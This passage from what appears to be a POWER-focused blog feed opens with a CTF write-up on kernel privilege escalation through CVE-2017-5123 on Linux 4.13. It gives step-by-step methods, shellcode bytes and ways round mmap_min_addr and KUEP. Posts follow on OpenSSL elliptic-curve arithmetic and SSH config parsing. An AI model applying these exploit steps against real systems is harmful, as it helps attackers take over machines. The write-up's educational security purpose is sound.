    The bug in waitid is that access_ok() is never called, and thus there is no validation that the user provided pointer *infop is pointing to user memory instead of kernel memory. Calling waitid and pointing into kernel memory allows unprivileged users to write into whatever they're pointing at. Neat! This is CVE-2017-5123, summarised as "Insufficient data validation in waitid allowed an user to escape sandboxes on Linux". It's a primitive that can be used for more than that, but that's what its discoverer used it for, escaping the Chrome sandbox.

    If you're curious, there's a handful of different writeups exploiting this bug for different things that you can search for. I suppose I'm now joining them!

    A tangent: API design

    Failing to enforce that a user-provided address to write to is actually in userspace is a hefty mistake, one that wasn't caught until after the code made it all the way to a tagged release (though the only distro release I could find with it was Ubuntu 17.10-beta2). Linux is big, complicated, fast-moving, and all that - there's always going to be bugs. It's not possible to prevent the entire developer base from ever making mistakes, but you can design better APIs so mistakes like this are much less likely to happen.

    Let's have a look at the waitid syscall implementation as it is in upstream Linux at the time of writing.

    SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
            infop, int, options, struct rusage __user *, ru)
    {
        struct rusage r;
        struct waitid_info info = {.status = 0};
        long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
        int signo = 0;
    
        if (err > 0) {
            signo = SIGCHLD;
            err = 0;
            if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
                return -EFAULT;
        }
        if (!infop)
            return err;
    
        if (!user_write_access_begin(infop, sizeof(*infop)))
            return -EFAULT;
    
        unsafe_put_user(signo, &infop->si_signo, Efault);
        unsafe_put_user(0, &infop->si_errno, Efault);
        unsafe_put_user(info.cause, &infop->si_code, Efault);
        unsafe_put_user(info.pid, &infop->si_pid, Efault);
        unsafe_put_user(info.uid, &infop->si_uid, Efault);
        unsafe_put_user(info.status, &infop->si_status, Efault);
        user_write_access_end();
        return err;
    Efault:
        user_write_access_end();
        return -EFAULT;
    }
    

    Notice any differences? Not a lot has changed, but instead of an unconditional user_access_begin(), there's now a call to user_write_access_begin(). Not only have the user access functions been split into read and write (though whether there's actually read/write granularity under the hood depends on the MMU-specific implementation), but the _begin() function takes a pointer and the size of the write. And what do you think that's doing...

    static __must_check inline bool
    user_write_access_begin(const void __user *ptr, size_t len)
    {
        if (unlikely(!access_ok(ptr, len)))
            return false;
    
        might_fault();
    
        allow_write_to_user((void __user *)ptr, len);
        return true;
    }
    

    That's right! The missing access_ok() check from v4.13 is now part of the API for enabling user access, so you can't forget it (without trying really hard). If there's something else you should be doing every time you call a function (i.e. access_ok() when calling user_access_begin()), it should probably just be part of the function, especially if there's a security implication.

    This bug was fixed by adding in the missing access_ok() check, but it's very cool to see that bugs like this are now much less likely to get written.

    Stage 2: the primitive

    Before we do anything too interesting, we should figure out what we actually have here. We point our pointer at 0xc000000012345678 (an arbitrary kernel address) then take a look in gdb, revealing the following:

    pwndbg> x/10 0xc000000012345678
    0xc000000012345678:     17      0       1       0
    0xc000000012345688:     2141    1001    1       0
    

    So we know that we can at least set something to zero, and there's some potential for more mischief. We could fork() a lot to change the value of the PID to make our write a bit more arbitrary, but to not get too fancy I figured we should just see where we could get by setting something either to zero or to something non-zero.

    A few targets came to mind. We could spray around where we think creds are located to try and overwrite the effective user ID of a process to 0, making it run as root. We could go after something like SELinux, aiming for flags like selinux_enabled and selinux_enforcing. I'm sure there's other sandbox-type controls we could try and escape from, too.

    None of these were taking my CTF in the direction I wanted it to go (which was shellcode running in the kernel), so I decided to turn the realism down a notch and aim for exploiting a null pointer dereference. We'd map our shellcode to *0, induce a null pointer dereference in the kernel, and then our exploit would work. Right?

    So we're just going to go for a classic privilege escalation. We start as an unprivileged user and end up as root. Easy.

    Stage 3: the target

    I found an existing exploit doing the same thing I wanted to do, so I just stole the target from that. It has some comments in French which don't really help me, but thankfully I found another version with some additional comments - in Chinese. Oh well. have_canfork_callback is a symbol that marks whether cgroup subsystems have a can_fork() callback that is checked when a fork is attempted. If we overwrite have_canfork_callback to be non-zero when can_fork is still NULL, then we win! We can reliably reproduce a null pointer dereference as soon as we fork().

    I'm sure there's heaps of different symbols we could have hit, but this one has some nice properties. Any non-zero write is enough, we can trigger the dereference at a time in our control with fork(), and to cover our bases we can just set it back to 0 later.

    In our case, we had debug info and a debugger, so finding where the symbol was located in memory is pretty easy. There's also /proc/kallsyms which is great if it's enabled. Linux on Power doesn't yet support KASLR which also saves us a headache or two here, and you can feel free to ask me why it's low on the priority list.

    So now we have a null pointer dereference. Now let's get that doing something!

    Stage 4: preparing the exploit

    Virtual memory is one heck of a drug. If the kernel is going to execute from 0x0, we just need to mmap() to 0! Easy.

    Well, it's not that easy. Turning any null pointer dereference into an easy attack vector is not ideal, so users aren't allowed to mmap to low address ranges, in our case, below PAGE_SIZE. Surely there's nothing in the kernel that would try to dereference a pointer + PAGE_SIZE? Maybe that's for a future CTF...

    There's a sysctl for this, so in the actual CTF we just did sysctl -w vm.mmap_min_addr=0 and moved on for brevity. As I was writing this I decided to make sure it was possible to bypass this without cheating by making use of our kernel write primitive, and sure enough, it works! I had to zero out both mmap_min_addr and dac_mmap_min_addr symbols, the latter seemingly required for filesystem interactions to work post-exploit.

    So now we can trigger a null pointer dereference in the kernel and we can mmap() our shellcode to 0x0, we should probably get some shellcode. We want to escalate our privileges, and the easiest way to do that is the iconic commit_creds(prepare_kernel_cred(0)).

    prepare_kernel_cred() is intended to produce a credential for a kernel task. Passing 0/NULL gets you the same credential that init runs with, which is about as escalated as our privileges can get. commit_creds() applies the given credential to the currently running task - thus making our exploit run as root.

    As of somewhat recently it's a bit more complex than that, but we're still back in v4.13, so we just need a way to execute that from a triggered null pointer dereference.

    Stage 5: the shellcode

    The blessing and curse of Power being a niche architecture is that it's hard to find existing exploits for. Perhaps lacking in grace and finesse, but effective nonetheless, is the shellcode I wrote myself:

        static const unsigned char shellcode[] = {
            0x00, 0x00, 0xc0, 0x3b, // li r30, 0
            0x20, 0x00, 0x9e, 0xe9, // ld r12,32(r30)
            0x00, 0x00, 0xcc, 0xfb, // std r30,0(r12)
            0x18, 0x00, 0x9e, 0xe9, // ld r12,24(r30)
            0xa6, 0x03, 0x89, 0x7d, // mtctr r12
            0x20, 0x04, 0x80, 0x4e, // bctr
        };
    

    After the CTF I encouraged everyone to try writing their own shellcode and noone did, and I will take that as a sign that mine is flawlessly designed.

    First we throw 0 into r30, which sounds like a register we'll get away with clobbering. We load an offset of 32 bytes from the value of r30 into r12 (and r30 is 0, so this is the address 32). Then, we store the value of r30 (which is 0) into the address in r12 - writing zero to the address found at *32.

    Then, we replace the contents of r12 with the value contained at address 24. Then, we move that value into the count register, and branch to the count register - redirecting execution to the address found at *24.

    I wrote it this way so participants would have to understand what the shellcode was trying to do to be able to get any use out of it. It expects two addresses to be placed immediately after it terminates and it's up to you to figure out what those addresses should be!

    In our case, everyone figured out pretty quickly that *24 should point at our very classic privesc:

    void get_root() {
        if (commit_creds && prepare_kernel_cred)
            commit_creds(prepare_kernel_cred(0));
    }
    

    Addresses for those kernel symbols need to be obtained first, but we're experts at that now. So we add in:

        *(unsigned long *)24 = (unsigned long)get_root;
    

    And that part's sorted. How good is C?

    Noone guessed what address we were zeroing, though, and the answer is have_canfork_callback. Without mending that, the kernel will keep attempting to execute from address 0, which we don't want. We only need it to do that once!

    So we wrap up with

        *(unsigned long *)32 = have_canfork_callback;
    

    and our shellcode's ready to go!

    Stage 6: it doesn't work

    We've had good progress so far - we needed a way to get the kernel to execute from address 0 and we found a way to do that, and we needed to mmap to 0 and we found a way to do that. And yet, running the exploit doesn't work. How come?

    Unable to handle kernel paging request for instruction fetch
    Faulting instruction address: 0x00000000
    Oops: Kernel access of bad area, sig: 11 [#2]
    

    The MMU has ended our fun. KUEP is enabled (SMEP on x86, PXN on ARM) so the MMU is enforcing that the kernel can't execute from user addresses. I gave everyone a bit of a trick question here - how can you get around this purely from the qemu command line?

    The way I did it wasn't to parse nosmep (and I'm not even sure that was implemented for powerpc in v4.13 anyway), it was to change from -cpu POWER9 to -cpu POWER8. Userspace execution prevention wasn't implemented in the MMU until POWER9, so reverting to an older processor was a cheeky way to get around that.

    Stage 7: victory!

    Putting all of that together, we have a successful privilege escalation from attacking the kernel.

    / $ ./exploit 
    Overwriting mmap_min_addr...
    Overwriting dac_mmap_min_addr...
    Overwriting have_canfork_callback...
    Successfully acquired root shell!
    / # whoami
    root
    

    It's wild to think that even an exploit this simple would have been possible in the "real world" back in 2017, so it really highlights the value of kernel hardening! It made for a good introduction to kernel exploitation for me and my team and wasn't too contrived for the sake of simplicity.

    Whether you're a beginner or an expert at kernel exploitation (or somewhere vaguely in the middle like me), I hope you found this interesting. There's lots of great PoCs, writeups and papers out there to learn from and CTFs to try if you want to learn more!

    Monday, 7 August 2023

    sthbrx - a POWER technical blogGoing out on a Limb: Efficient Elliptic Curve Arithmetic in OpenSSL

    So I've just managed to upstream some changes to OpenSSL for a new strategy I've developed for efficient arithmetic used in secp384r1, a curve prescribed by NIST for digital signatures and key exchange. In spite of its prevalence, its implementation in OpenSSL has remained somewhat unoptimised, even as less frequently used curves (P224, P256, P521) each have their own optimisations.

    The strategy I have used could be called a 56-bit redundant limb implementation with Solinas reduction. Without too much micro-optimisation, we get ~5.5x speedup over the default (Montgomery Multiplication) implementation for creation of digital signatures.

    How is this possible? Well first let's quickly explain some language:

    Elliptic Curves

    When it comes to cryptography, it's highly likely that those with a computer science background will be familiar with ideas such as key-exchange and private-key signing. The stand-in asymmetric cipher in a typical computer science curriculum is typically RSA. However, the heyday of Elliptic Curve ciphers has well and truly arrived, and their operation seems no less mystical than when they were just a toy for academia.

    The word 'Elliptic' may seem to imply continuous mathematics. As a useful cryptographic problem, we fundamentally are just interested with the algebraic properties of these curves, whose points are elements of a finite field. Irrespective of the underlying finite field, the algebraic properties of the elliptic curve group can be shown to exist by an application of Bézout's Theorem. The group operator on points on an elliptic curve for a particular choice of field involves the intersection of lines intersecting either once, twice or thrice with the curve, granting notions of addition and doubling for the points of intersection, and giving the 'point at infinity' as the group identity. A closed form exists for computing a point double/addition in arbitrary fields (different closed forms can apply, but determined by the field's characteristic, and the same closed form applies for all large prime fields).

    Our algorithm uses a field of the form \(\mathbb{F}_p\), that is the unique field with \(p\) (a prime) elements. The most straightforward construction of this field is arithmetic modulo \(p\). The other finite fields used in practise in ECC are of the form \(\mathbb{F}_{2^m}\) and are sometimes called 'binary fields' (representible as polynomials with binary coefficients). Their field structure is also used in AES through byte substitution, implemented by inversion modulo \(\mathbb{F}_{2^8}\).

    From a performance perspective, great optimisations can be made by implementing efficient fixed-point arithmetic specialised to modulo by single prime constant, \(p\). From here on out, I'll be speaking from this abstraction layer alone.

    Limbs

    We wish to multiply two \(m\)-bit numbers, each of which represented with \(n\) 64-bit machine words in some way. Let's suppose just for now that \(n\) divides \(m\) neatly, then the quotient \(d\) is the minimum number of bits in each machine word that will be required for representing our number. Suppose we use the straightforward representation whereby the least significant \(d\) bits are used for storing parts of our number, which we better call \(x\) because this is crypto and descriptive variable names are considered harmful (apparently).

    $$x = \sum_{k = 0}^{n-1} 2^{dk} l_k$$

    If we then drop the requirement for each of our \(n\) machine words (also referred to as a 'limb' from hereon out) to have no more than the least significant \(d\) bits populated, we say that such an implementation uses 'redundant limbs', meaning that the \(k\)-th limb has high bits which overlap with the place values represented in the \((k+1)\)-th limb.

    Multiplication (mod p)

    The fundamental difficulty with making modulo arithmetic fast is to do with the following property of multiplication.

    Let \(a\) and \(b\) be \(m\)-bit numbers, then \(0 \leq a < 2^m\) and \(0 \leq b < 2^m\), but critically we cannot say the same about \(ab\). Instead, the best we can say is that \(0 \leq ab < 2^{2m}\). Multiplication can in the worst case double the number of bits that must be stored, unless we can reduce modulo our prime.

    If we begin with non-redundant, 56-bit limbs, then for \(a\) and \(b\) not too much larger than \(2^{384} > p_{384}\) that are 'reduced sufficiently' then we can multiply our limbs in the following ladder, so long as we are capable of storing the following sums without overflow.

        /* and so on ... */
    
        out[5] = ((uint128_t) in1[0]) * in2[5]
               + ((uint128_t) in1[1]) * in2[4]
               + ((uint128_t) in1[2]) * in2[3]
               + ((uint128_t) in1[3]) * in2[2]
               + ((uint128_t) in1[4]) * in2[1]
               + ((uint128_t) in1[5]) * in2[0];
    
        out[6] = ((uint128_t) in1[0]) * in2[6]
               + ((uint128_t) in1[1]) * in2[5]
               + ((uint128_t) in1[2]) * in2[4]
               + ((uint128_t) in1[3]) * in2[3]
               + ((uint128_t) in1[4]) * in2[2]
               + ((uint128_t) in1[5]) * in2[1]
               + ((uint128_t) in1[6]) * in2[0];
    
        out[7] = ((uint128_t) in1[1]) * in2[6]
               + ((uint128_t) in1[2]) * in2[5]
               + ((uint128_t) in1[3]) * in2[4]
               + ((uint128_t) in1[4]) * in2[3]
               + ((uint128_t) in1[5]) * in2[2]
               + ((uint128_t) in1[6]) * in2[1];
    
        out[8] = ((uint128_t) in1[2]) * in2[6]
               + ((uint128_t) in1[3]) * in2[5]
               + ((uint128_t) in1[4]) * in2[4]
               + ((uint128_t) in1[5]) * in2[3]
               + ((uint128_t) in1[6]) * in2[2];
    
        /* ... and so forth */
    

    This is possible, if we back each of the 56-bit limbs with a 64-bit machine word, with products being stored in 128-bit machine words. The numbers \(a\) and \(b\) were able to be stored with 7 limbs, whereas we use 13 limbs for storing the product. If \(a\) and \(b\) were stored non-redundantly, than each of the output (redundant) limbs must contain values less than \(6 \cdot 2^{56} \cdot 2^{56} < 2^{115}\), so there is no possibility of overflow in 128 bits. We even have room spare to do some additions/subtractions in cheap, redundant limb arithmetic.

    But we can't keep doing our sums in redundant limb arithmetic forever, we must eventually reduce. Doing so may be expensive, and so we would rather reduce only when strictly necessary!

    Solinas-ish Reduction

    Our prime is a Solinas (Pseudo/Generalised-Mersenne) Prime. Mersenne Primes are primes expressible as \(2^m - 1\). This can be generalised to low-degree polynomials in \(2^m\). For example, another NIST curve uses \(p_{224} = 2^{224} - 2^{96} + 1\) (a 224-bit number) where \(p_{224} = f(2^{32})\) for \(f(t) = t^7 - t^3 + 1\). The simpler the choice of polynomial, the simpler the modular reduction logic.

    Our choice of \(t\) is \(2^{56}\). Wikipedia the ideal case for Solinas reduction where the bitwidth of the prime is divisible by \(\log_2{t}\), but that is not our scenario. We choose 56-bits for some pretty simple realities of hardware. 56 is less than 64 (standard machine word size) but not by too much, and the difference is byte-addressible (\(64-56=8\)). Let me explain:

    Just the Right Amount of Reduction (mod p)

    Let's first describe the actual prime that is our modulus.

    $$p_{384} = 2^{384} - 2^{128} - 2^{96} + 2^{32} - 1$$

    Yuck. This number is so yuck in fact, that noone has so far managed to upstream a Solinas' reduction method for it in OpenSSL, in spite of secp384r1 being the preferred curve for ECDH (Elliptic Curve Diffie-Hellman key exchange) and ECDSA (Elliptic Curve Digital Signature Algorithm) by NIST.

    In 56-bit limbs, we would express this number so:

    Let \(f(t) = 2^{48} t^6 - 2^{16} t^2 - 2^{40} t + (2^{32} - 1)\), then observe that all coefficients are smaller than \(2^{56}\), and that \(p_{384} = f(2^{56})\).

    Now let \(\delta(t) = 2^{16} t^2 + 2^{40} t - 2^{32} + 1\), consider that \(p_{384} = 2^{384} - \delta(2^{56})\), and thus \(2^{384} \equiv \delta(2^{56}) \mod{p_{384}}\). From now on let's call \(\delta(2^{56})\) just \(\delta\). Thus, 'reduction' can be achieved as follows for suitable \(X\) and \(Y\):

    $$ab = X + 2^{384} Y \equiv X + \delta Y \mod{p_{384}}$$

    Calculating \(\delta Y\)

    First Substitution

    First make a choice of \(X\) and \(Y\). The first thing to observe here is that this can actually be made a large number of ways! We choose:

    $$X_1 = \sum_{k=0}^8\texttt{in[k]} t^k$$
    $$Y_1 = 2^8 t^2 \sum_{k=9}^{12}\texttt{in[k]} t^{k-9} = 2^8 \sum_{k=9}^{12}\texttt{in[k]} t^{k-7}$$

    'Where does the \(2^8 t^{2}\) come from?' I hear you ask. See \(t^9 = t^2 \cdot t^7 = t^2 (2^8 \cdot 2^{384}) \equiv (2^8 t^2) \delta \mod{f(t)}\). It's clear to see that the place value of in[9] ... in[12] is greater than \(2^{384}\).

    I'm using the subscripts here because we're in fact going to do a series of these reductions to reach a suitably small answer. That's because our equation for reducing \(t^7\) terms is as follows:

    $$t^7 \equiv 2^8\delta \equiv 2^{24} t^2 + 2^{48} t + (-2^{40} + 2^8) \mod{f(t)}$$

    Thus reducing in[12] involves computing:

    $$\texttt{in[12]} t^{12} = \texttt{in[12]} (t^5)(t^7) \equiv 2^8\delta \cdot \texttt{in[12]} t^5 \mod{f(t)}$$

    But \(\delta\) is a degree two polynomial, and so our numbers can still have two more limbs than we would want them to have. To be safe, let's store \(X_1 + \delta Y_1\) in accumulator limbs acc[0] ... acc[8] (this will at first appear to be one more limb than necessary), then we can eliminate in[12] with the following logic.

        /* assign accumulators to begin */
        for (int i = 0; i < 9; i++)
            acc[i] = in[i];
    
        /* X += 2^128 Y */
        acc[8] += in[12] >> 32;
        acc[7] += (in[12] & 0xffffffff) << 24;
    
        /* X += 2^96 Y */
        acc[7] += in[12] >> 8;
        acc[6] += (in[12] & 0xff) << 48;
    
        /* X += (-2^32 + 1) Y */
        acc[6] -= in[12] >> 16;
        acc[5] -= ((in[12] & 0xffff) << 40);
        acc[6] += in[12] >> 48;
        acc[5] += (in[12] & 0xffffffffffff) << 8;
    

    Notice that for each term in \(\delta = 2^{128} + 2^{96} + (2^{32} - 1)\) we do two additions/subtractions. This is in order to split up operands in order to minimise the final size of numbers and prevent over/underflows. Consequently, we need an acc[8] to receive the high bits of our in[12] substitution given above.

    Second Substitution

    Let's try and now eliminate through substitution acc[7] and acc[8]. Let

    $$X_2 = \sum^{6}_{k=0}\texttt{acc[k]}t^k $$
    $$Y_2 = 2^8(\texttt{acc[7]} t^7 + \texttt{acc[8]} t^8)$$

    But this time, \(\delta Y_2\) is a number that comfortably can take up just five limbs, so we can update acc[0], ..., acc[5] comfortably in-place.

    Third Substitution

    Finally, let's reduce all the high bits of in[6]. Since in[6] has place value \(t^6 = 2^{336}\), thus we wish to reduce all but the least significant \(384 - 336 = 48\) bits.

    A goal in designing this algorithm is to ensure that acc[6] has as tight a bound as reasonably possible. Intuitively, if we can cause acc[6] to be as large as possible by absorbing the high bits of lower limbs, we reduce the number of bits that must be carried forward later on. As such, we perform a carry of the high-bits of acc[4], acc[5] into acc[6] before we begin our substitution.

    Again, let

    $$X_3 = \sum^{5}_{k=0}\texttt{acc[k]}t^k + (\texttt{acc[6]} \text{(low bits)})t^6$$
    $$Y_3 = 2^{48}(\texttt{acc[6]} \text{(high bits, right shifted)}) t^6$$

    The equation for eliminating \(2^{48}t^6\) is pretty straightforward:

    $$2^{384} = 2^{48}t^6 \equiv 2^{16}t^2 + 2^{40}t + (-2^{32} + 1) \mod{f(t)}$$

    Carries

    Finally, as each of acc[0], ..., acc[6] can contain values larger than \(2^{56}\), we carry their respective high bits into acc[6] so as to remove any redundancy. Conveniently, our preemptive carrying before the third substitution has granted us a pretty tight bound on our final calculation - the final reduced number has the range \([0, 2^{384}]\).

    Canonicalisation

    This is 'just the right amount of reduction' but not canonicalisation. That is, since \(0 < p_{384} < 2^{384}\), there can be multiple possible reduced values for a given congruence class. felem_contract is a method which uses the fact that \(0 \leq x < 2 p_{384}\) to further reduce the output of felem_reduce into the range \([0, p_{384})\) in constant time.

    This code has many more dragons I won't explain here, but the basic premise to the calculations performed there is as follows:

    Given a 385 bit input, checking whether our input (expressed as a concatenation of bits) \(b_{384}b_{383} \ldots b_1b_0\) is greater than or equal to \(p_{384}\) whose bits we denote \(q_{384}, \ldots, q_0\) (\(q_{384} = 0\)) is determined by the following logical predicate (\(G(384)\)):

    $$G(k) \equiv (b_k \land \lnot q_k) \lor ((b_k = q_k) \land G(k-1))$$
    $$G(0) \equiv b_k = q_k$$

    With \(p_{384}\) being a Solinas'/Pseudo-Mersenne Prime, it has a large number of contiguous runs of repeated bits, so we can of course use this to massively simplify our predicate. Doing this in constant time involves some interesting bit-shifting/masking schenanigans. Essentially, you want a bit vector of all ones/zeros depending on the value of \(G(384)\), we then logically 'and' with this bitmask to 'conditionally' subtract \(p_{384}\) from our result.

    A Side Note about the Weird Constants

    Okay so we're implementing our modular arithmetic with unsigned integer limbs that together represent a number of the following form:

    $$x = \sum_{k = 0}^{n-1} 2^{dk} l_k$$

    How do we then do subtractions in a way which will make overflow impossible? Well computing \(a - b\) is really straightforward if every limb of \(a\) is larger than every limb of \(b\). We then add a suitable multiple of \(p_{384}\) to \(a\) that causes each limb of \(a\) to be sufficiently large.

    Thankfully, with redundant-limb arithmetic, we can do this easily by means of telescopic sums. For example, in felem_reduce we wanted all limbs of our \(p_{384}\) multiple to be sufficiently large. We overshot any requirement and provided such a multiple which gives a lower bound \(2^{123}\). We first scale our prime accordingly so that its 'lead term' (speaking in the polynomial representation) is \(2^{124}\).

    $$2^{76} f(t) = 2^{124} t^6 - 2^{92} t^2 - 2^{116} t + (2^{108} - 2^{76}) t^0$$

    Notice that most limbs of this multiple (the limbs will be the coefficients) are either too small or negative. We then transform this expression into a suitable telescopic sum. Observe that when \(t = 2^{56}\), \(2^{124} t^k = 2^{124-56}t^{k+1} = 2^{68} t^{k+1}\), and so simply introduce into each limb where required a \(2^{124}\) term by means of addition, subtracting the same number from a higher limb.

    $$ \begin{align*} 2^{76} f(t) &= (2^{124} - 2^{68}) t^6 \\ &+ (2^{124} - 2^{68}) t^5 \\ &+ (2^{124} - 2^{68}) t^4 \\ &+ (2^{124} - 2^{68}) t^3 \\ &+ (2^{124} - 2^{92} - 2^{68}) t^2 \\ &+ (2^{124} - 2^{116} - 2^{68}) t \\ &+ (2^{124} + 2^{108} - 2^{76}) \end{align*} $$

    We can then subtract values whose limbs are no larger than the least of these limbs above without fear of underflows providing us with an incorrect result. In our case, that upper bound for limb value is \(2^{124} - 2^{116} - 2^{68} > 2^{123}\). Very comfortable.

    Concerning Timing Side-Channels

    Cryptographic routines must perform all of their calculations in constant time. More specifically, it is important that timing cryptography code should not reveal any private keys or random nonces used during computation. Ultimately, all of our work so far has been to speed up field arithmetic in the modulo field with prime \(p_{384}\). But this is done in order to facilitate calculations in the secp384r1 elliptic curve, and ECDSA/ECDH each depend on being able to perform scalar 'point multiplication' (repeat application of the group operator). Since such an operation is inherently iterative, it presents the greatest potential for timing attacks.

    We implement constant-time multiplication with the wNAF ladder method. This relies on pre-computing a window of multiples of the group generator, and then scaling and selectively adding multiples when required. Wikipedia provides a helpful primer to this method by cumulatively building upon more naive approaches.

    Conclusion

    While the resulting code borrows from and uses common language of Solinas reduction, ultimately there are a number of implementation decisions that were guided by heuristic - going from theory to implementation was far from cut-and-dry. The limb size, carry order, choice of substitutions as well as pre and post conditions made here are ultimately arbitrary. You could easily imagine there being further refinements obtaining a better result. For now, I hope this post serves to demystify the inner workings of ECC implementations in OpenSSL. These algorithms, although particular and sophisticated, need not be immutable.

    Friday, 4 August 2023

    sthbrx - a POWER technical blogQuirks of parsing SSH configs

    Introduction

    I've been using the VSCodium Open Remote - SSH extension recently to great results. I can treat everything as a single environment, without any worry about syncing between my local development files and the remote. This is very different to mounting the remote as a network drive and opening a local instance of VSCodium on it: in addition to crippling latency on every action, a locally mounted drive doesn't bring the build context that tools like clangd require (e.g., system headers).

    Instead, the remote extension runs a server on the remote that performs most actions, and the local VSCodium instance acts as a client that buffers and caches data seamlessly, so the experience is nearly as good as developing locally.

    For example, a project wide file search on a network drive is unusably slow because every file and directory read requires a round trip back to the remote, and the latency is just too large to finish getting results back in a reasonable time. But with the client-server approach, the client just sends the search request to the server for it to fulfil, and all the server has to do is send the matches back. This eliminates nearly all the latency effects, except for the initial request and receiving any results.

    However there has been one issue with using this for everything: the extension failed to connect when I wasn't on the same network as the host machine. So I wasn't able to use it when working from home over a VPN. In this post we find out why this happened, and in the process look at some of the weird quirks of parsing an SSH config.

    The issue

    As above, I wasn't able to connect to my remote machines when working from home. The extension would abort with the following error:

    [Error  - 00:23:10.592] Error resolving authority
    Error: getaddrinfo ENOTFOUND remotename.ozlabs.ibm.com
        at GetAddrInfoReqWrap.onlookup [as oncomplete] (node:dns:109:26)
    

    So it's a DNS issue. This would make sense, as the remote machine is not exposed to the internet, and must instead be accessed through a proxy. What's weird is that the integrated terminal in VSCodium has no problem connecting to the remote. So the extension seems to be doing something different than just a plain SSH connection.

    You might think that the extension is not reading the SSH config. But the extension panel lists all the host aliases I've declared in the config, so it's clearly aware of the config at least. Possibly it doesn't understand the proxy config correctly? If it was trying to connect directly from the host, it would make sense to fail a DNS lookup.

    Investigating

    Enough theorising, time to debug the extension as it tries to connect.

    From the error above, the string "Error resolving authority" looks like something I can search for. This takes me to the catch case for a large try-catch block. It could be annoying to narrow down which part of the block throws the exception, but fortunately debugging is as easy as installing the dependencies and running the pre-configured 'Extension' debug target. This opens a new window with the local copy of the extension active, and I can debug it in the original window.

    In this block, there is a conditional statement on whether the ProxyJump field is present in the config. This is a good place to break on and see what the computed config looks like. If it doesn't find a proxy then of course it's going to run everything on the host.

    And indeed, it doesn't think there is a proxy. This is progress, but why does the extension's view of the config not match up with what SSH does? After all, invoking SSH directly connects properly. Tracing back the source of the config in the extension, it ultimately comes from manually reading in and parsing the SSH config. When resolving the host argument it manually computes the config as per ssh_config(5). Yet somewhere it makes a mistake, because it doesn't include the ProxyJump field.

    Parsing SSH config

    To get to the bottom of this, we need to know the rules behind parsing SSH configs. The ssh_config(5) manpage does a pretty decent job of explaining this, but I'm going to go over the relevant information here. I reckon most people have a vague idea of how it works, and can write enough to meet their needs, but have never looked deeper into the actual rules behind how SSH parses the config.

    1. For starters, the config is parsed line by line. Leading whitespace (i.e., indentation) is ignored. So, while indentation makes it look like you are configuring properties for a particular host, this isn't quite correct. Instead, the Host and Match lines are special statements that enable or disable all subsequent lines until the next Host or Match.

      There is no backtracking; previous conditions and lines are not re-evaluated after learning more about the config later on.

    2. When a config line is seen, and is active thanks to the most recent Host or Match succeeding, its value is selected if it is the first of that config to be selected. So the earliest place a value is set takes priority; this may be a little counterintuitive if you are used to having the latest value be picked, like enable/disable command line flags tend to work.

    3. When HostName is set, it replaces the host value in Match matches. It is also used as the Host value during a final pass (if requested).

    4. The last behaviour of interest is the Match final rule. There are several conditions a Match statement can have, and the final rule says make this active on the final pass over the config.

    Wait, final pass? Multiple passes? Yes. If final is a condition on a Match, SSH will do another pass over the entire config, following all the rules above. Except this time all the configs we read on the first pass are still active (and can't be changed). But all the Host and Matches are re-evaluated, allowing other configs to potentially be set. I guess that means rule (1) ought to have a big asterisk next to it.

    Together, these rules can lead to some quirky behaviours. Consider the following config

    Match host="*.ozlabs.ibm.com"
        ProxyJump proxy
    
    Host example
        HostName example.ozlabs.ibm.com
    

    If I run ssh example on the command line, will it use the proxy?

    By rule (1), no. When testing the first Match host condition, our host value is currently example. It is not until we reach the HostName config that we start using example.ozlabs.ibm.com for these matches.

    But by rule (4), the answer turns into maybe. If we end up doing a second pass over the config thanks to a Match final that could be anywhere else, we would now be matching example.ozlabs.ibm.com against the first line on the second go around. This will pass, and, since nothing has set ProxyJump yet, we would gain the proxy.

    You may think, yes, but we don't have a Match final in that example. But if you thought that, then you forgot about the system config.

    The system config is effectively appended to the user config, to allow any system wide settings. Most of the time this isn't an issue because of the first-come-first-served rule with config matches (rule 2). But if the system config includes a Match final, it will trigger the entire config to be re-parsed, including the user section. And it so happens that, at least on Fedora with the openssh-clients package installed, the system config does contain a Match final (see /etc/ssh/ssh_config.d).

    But wait, there's more! If we want to specify a custom SSH config file, then we can use -F path/to/config in the command line. But this disables loading a system config, so we would no longer get the proxy!

    To sum up, for the above config:

    1. ssh example doesn't have a proxy
    2. ...unless a system config contains Match final
    3. ...but invoking it as ssh -F ~/.ssh/config example definitely won't have the proxy
    4. ...but if a subprocess invokes ssh example while trying to resolve another host, it'll probably not add the -F ~/.ssh/config, so we might get the proxy again (in the child process).

    Wait, how did that last one slip in? Well, unlike environment variables, it's a lot harder for processes to propagate command line flags correctly. If resolving the config involves running a script that itself tries to run SSH, chances are the -F flag won't be propagated and you'll see some weird behaviour.

    I swear that's all for now, you've probably learned more about SSH configs than you will ever need to care about.

    Back to VSCodium

    Alright, armed now with this knowledge on SSH config parsing, we can work out what's going on with the extension. It ends up being a simple issue: it doesn't apply rules (3) and (4), so all Host matches are done against the original host name.

    In my case, there are several machines behind the proxy, but they all share a common suffix, so I had a Host *.ozlabs.ibm.com rule to apply the proxy. I also use aliases to refer to the machines without the .ozlabs.ibm.com suffix, so failing to follow rule (3) lead to the situation where the extension didn't think there was a proxy.

    However, even if this were to be fixed, it still doesn't respect rule (4), or most complex match logic in general. If the hostname bug is fixed then my setup would work, but it's less than ideal to keep playing whack-a-mole with parsing bugs. It would be a lot easier if there was a way to just ask SSH for the config that a given host name resolves to.

    Enter ssh -G. The -G flag asks SSH to dump the complete resolved config, without actually opening the connection (it may execute arbitrary code while resolving the config however!). So to fix the extension once and for all, we could swap the manual parser to just invoking ssh -G example, and parsing the output as the final config. No Host or Match or HostName or Match final quirks to worry about.

    Sure enough, if we replace the config backend with this 'native' resolver, we can connect to all the machines with no problem. Hopefully the pull request to add this support will get accepted, and I can stop running my locally patched copy of the extension.

    In general, I'd suggest avoiding any dependency on a second pass being done on the config. Resolve your aliases early, so that the rest of your matches work against the full hostname. If you later need to match against the name passed in the command line, you can use Match originalhost=example. The example above should always be written as

    Host example
        HostName example.ozlabs.ibm.com
    
    Match host="*.ozlabs.ibm.com"
        ProxyJump proxy
    

    even if the reversed order might appear to work thanks to the weird interactions described above. And after learning these parser quirks, I find the idea of using Host match statements unreliable; that they may or may not be run against the HostName value allows for truely strange bugs to appear. Maybe you should remove this uncertainty by starting your config with Match final to at least always be parsed the same way.

    Thursday, 27 July 2023

    Tim SerongThe wrong way to debug CrashLoopBackOff

